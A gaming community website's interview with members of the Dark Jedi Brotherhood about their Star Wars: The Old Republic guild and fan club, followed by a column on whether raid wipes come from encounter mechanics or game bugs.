The group has a very extensive amount of information about each part of the brotherhood. Was this the vision of the group when it was started or did it just branch out from growth and new membership?

Muz: I don’t think anyone planned that we’d still be around now.  It’s a natural evolution.  Members contribute in ways that they like most, so we naturally get pretty detailed expansions as our members find more ways to do cool stuff.

 

 

 

The DJB has a very detailed system for ranking in the guild and also a clan based system. Can you explain more about the clan system and how it functions in the group?

Muz: People are competitive by nature a lot of the time.  We decided, very early on, to help delineate teams for people to play on.  This term became Clans (and the smaller ‘Houses’), kinda independent from the term that gaming has developed for that.  These Clans and Houses have their own histories, and can get a little cliquish at times, but our members are often fiercely loyal to their Clans.

 DJB Clans & Houses

 

 

Although the DJB is involved in many Star Wars games etc. how has the group/guild taken to SWTOR? Are there some elements you would like to see BioWare include in the game?

Archangel: When we heard that Bioware was building am MMORPG, we were of course stoked. How often does one of the masters of the role playing arts build something of that magnitude? And when the fact that it was a Star Wars game was released, we just about exploded. We spent the months before the release building plans, contingencies, recruiting, organizing, and the whole she-bang.

Originally, we had just the two guys planning it all out, Fremoc and Araxis. Fremoc’s in charge of the Gaming in the DJB, and was given the task of developing our strategy to introduce SWTOR to the club, and the club to the world of SWTOR. Pretty soon after they began, they realized just how large a scope the game had, and drew in more help, namely myself, and some of our more veteran members.

Since the release, we had a huge influx of old members into the guild, building it up quickly, as well as sizable interest from the server population in our organization. Some of our best Officers right now are recruits from the server! We have two guilds, our main guild which is called the Dark Jedi Brotherhood, and our Republic Guild, Knights of Odan-Urr.

5

16-man Kephess Kill

We would be more interested in seeing more guild features, such as a guild ship, upgrades, and similar. Some more story expansion would be fantastic, as well as a more dynamic gaming experience. We feel that if we are required to run an operation a couple dozen times just to get a certain item, it might be nice to have a surprise or two every time.

9

Downtime on the Imperial Fleet
We will dance till our demands for Guild Ships are met

 

 

As far as new content, how do you and the guild feel about the news concerning the 1.7 patch? How does the guild feel about the Rise of the Hutt Cartel expansion?

Archangel: We have some mixed feelings, as with all patches. Some of us are excited to get new content to work with, and play, and the increase in the level cap gives us more points to spend. However, others have pointed out the lack of real character progression, and say that the expansion is little more than a stop-gap. We’ll have to see what happens.

1

Fremoc, Araxis, Valerius and Khorvus waiting for the balloon on Tatooine

 

 

 

With the new reputation system being added in the future, what do you think about this? Do you think this could be something to bring about a possible third faction or faction switching?

Archangel: With all new additions to the game, there is always a moment or two of skepticism. With the reputation system, it seems, in a way, just a way to keep people playing for longer, and not adding real content to the game. I personally want to know what happens with my sniper. Does he kill a major Republic General on Coruscant? Does he get captured, tortured, and has to escape from prison? Reputation doesn’t really help me extend my personal story, but it does expand the faction-based story lines.

As for a third faction and switching, we aren’t too worried about it. We are a purely Imperial unit (with a traitorous Republic element), and will almost definitely stay that way.

6

TFB HM “Writhing Horror” with our Prime Raiding Team.
Left to right: Necro, Kaylynne, Rayne, Arch, Fremoc, Renatus, Comalies and Scholae

 

 

Besides gaming the guild has several other activities, like fan fiction and poetry, for fellow community members to participate.  How did these activities get started? Where can people go to read or possibly submit their fan fiction or poetry?

Muz: As I mentioned before, we never were really a gaming-only club.  We have had a lot of members join over the years that just aren’t terribly great at gaming, but still wanted to compete.  We also have seen a dwindling in multiplayer LucasArts games over the past few years that has changed the primary thrust of our club.  We could get more into Halo or whatnot, but most of our members are here because they love Star Wars (specifically the Dark Side), and those things aren’t in the vein of what they wanted to do.  We can always write fictions, regardless of if our computers can run the newest game, or if LucasArts doesn’t release a new game for a decade.

We are usually running some sort of competitions for our members.  We have a pretty sprawling set of forums available, as well as a pretty active wikipedia project where members often put up links to their stuff as well.

 

 

 

On the main page of your website, it has training as a menu choice. What is all the training for? The first on under that heading is the Shadow Academy. How do new recruits take to the training? Is this done in-game or something done via other avenues?

Muz: The training is really there to help explain all of the various activities that the Brotherhood does.  We’ve got an awful lot of things going on, and it can be pretty daunting to a new member, so we use the Shadow Academy to help teach people about these things.  Older members will go in for the more trivia based courses, just to get their geek on.  These training things are generally web-based, but we have a few almost ‘apprenticeship’ style programs as well.

8

Raid Shenanigans…possibly Shadow Academy secrets

 

Is the Dark Jedi Brotherhood currently recruiting? How can people get in touch with the guild and what steps do they need to do as a new recruit?

Archangel: Of course we are recruiting! We would love to expand our raider base, as well as general population in the guild. Besides the guild recruitment, we are always on the lookout for people for the general club, those who are interested in writing, other SW games, and graphics just to name a few.

For information about the guild, you can message Fremoc, Archangel, Kalia or Raayne on US-East Jedi Covenant server. Or, you can go to our website.

To join, you have two options, one is a general join, which throws you in with the normal population of the club and you can get involved that way. Follow this link to join in that way:

Dark Jedi Brotherhood club application

To join specifically for SWTOR, we have a separate join form:

SWTOR Dark Jedi Brotherhood guild application

There are plenty of steps for a new recruit to take. Best would be to join us on IRC (Undernet servers #db or #dbgaming) or Teamspeak and we can help you out!

 

DBJ logo

 

 

That’s it for this week’s Community Checkpoint. I want to take time to thank all the members of the entire Dark Jedi Brotherhood. Also want to thank Muz and Archangel for their time answering the questions for the article and helping us all learn more about their club and their guild. If you have not yet checked out their website, I strongly urge you to head over there. They have a little something for all Star Wars fans…artwork, fan-fiction, Star Wars facts, “old-school” RP in the Star Wars EU and basically a complete overload of Star Wars goodness. I want to wish all the best to each one of their members in all they do and here’s hoping their society keeps going for more decades to come.

 

 

Would you like to have your guild, in-game event, or community activities highlighted on Corellian Run Radio website like the Dark Jedi Brotherhood? All you need to do is submit your website or forum link, along with some basic information in an email to me at, jason@corellianrun.com. You and your group could be who we highlight next here on Corellian Run Radio’s Community Checkpoint. Thanks and see you next week!

 

 

 

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Operation: Information – Wiping to Mechanics or a Bug? http://corellianrun.com/2013/01/25/operation-information-wiping-to-mechanics-or-a-bug/ http://corellianrun.com/2013/01/25/operation-information-wiping-to-mechanics-or-a-bug/#comments Fri, 25 Jan 2013 15:00:40 +0000 http://corellianrun.com/?p=17897 [...]]]> opsinfologo

By Ghoztt

Some operation teams are quick to blame bugs for their wipes, but the case may not always be as simple as that. While this game that we play may certainly be buggy on occasion they cannot always be blamed for wipes. Taking a step back to objectively look at what happened that caused the wipe will ensure that these ‘bugs’ aren’t necessarily mechanics that are built into the encounter that you may not fully understand.

When the question of “What killed you?” is raised, that doesn’t mean you should look at the last attack that was made that brought your hit points down to zero. When someone asks that question it means “What events transpired that led to the death which led to the wipe.” Were you standing in the wrong spot? Did you miss a taunt? Was your heal rotation thrown off? Knowing what happened is important so that you don’t make the same mistake over and over.

There are several things you should watch for when learning a new encounter that can help you understand its mechanics better. The first, and probably most important, is to look at buffs and debuffs on yourself as well as the boss. They usually have a detailed description when you hover over it that will tell you exactly what it does. Of course, that doesn’t always tell you how to handle the mechanic, but it does give you a starting point from which to formulate your strategy. The tricky debuffs to watch out for are the ones that are applied under certain conditions and trying to figure those out. A prime example that I can recall is the ‘Fearful’ debuff for Hard/Nightmare Toth and Zorn. If you never read about the encounter before then learning about how the debuff is applied would be a matter of trial and error. It would take someone who is observant enough to notice that it was only applied within 25 meters of Zorn’s stomp.

I know that I had written dismissively about the combat log and the last attack that killed you, but you can certainly gain some knowledge about mechanics by that report. If the attack hits for greater than your health pool then it is time to look more closely at the mechanics of the encounter and see what you are missing. Maybe you need to stand in a certain place to mitigate damage. Perhaps a tank swap is in order? Or maybe it is something as simple as hitting the enrage timer.

The point is that understanding why you wiped is an important step in order to progress through operations. If you cannot correct what went wrong then you have little hope in defeating the boss you are working on. That being said, there are definitely bugs in the game that make a challenging encounter even more difficult. I can recall in the early days of Eternity Vault HM when the Ball Lightning in the Soa encounter was doing double the damage it was supposed to. Back when having 18k hit points was considered high, getting hit by an 11k attack in addition to the 2-3k AoE damage could be devastating. We worked our way through this bug and eventually got the kill, but it took quite a lot of wipes in order to do it. More recently, we ran into a bug in the Nightmare Kephess fight where, in the last phase, the tanks would get pulled to Kephess, but they could not move for a few seconds. This caused them to drop purple circles right under the boss which caused several wipes. You just need to persevere and hope that the next attempt the bugs don’t resurface.

The next time you go into an operation start making a habit of looking at your buff/debuff bar as well as the ones on the boss(es). You probably won’t discover any new mechanics in current content, but it is good practice for any future operations to come. Speaking of which, Makeb will bring us a new operation to tackle once the new expansion arrives. In the meantime, there are still plenty of challenges to keep us busy. Let’s hope we don’t get too sick of them before we see the next operation.

Ready check done? Pulling in 3… 2… 1…

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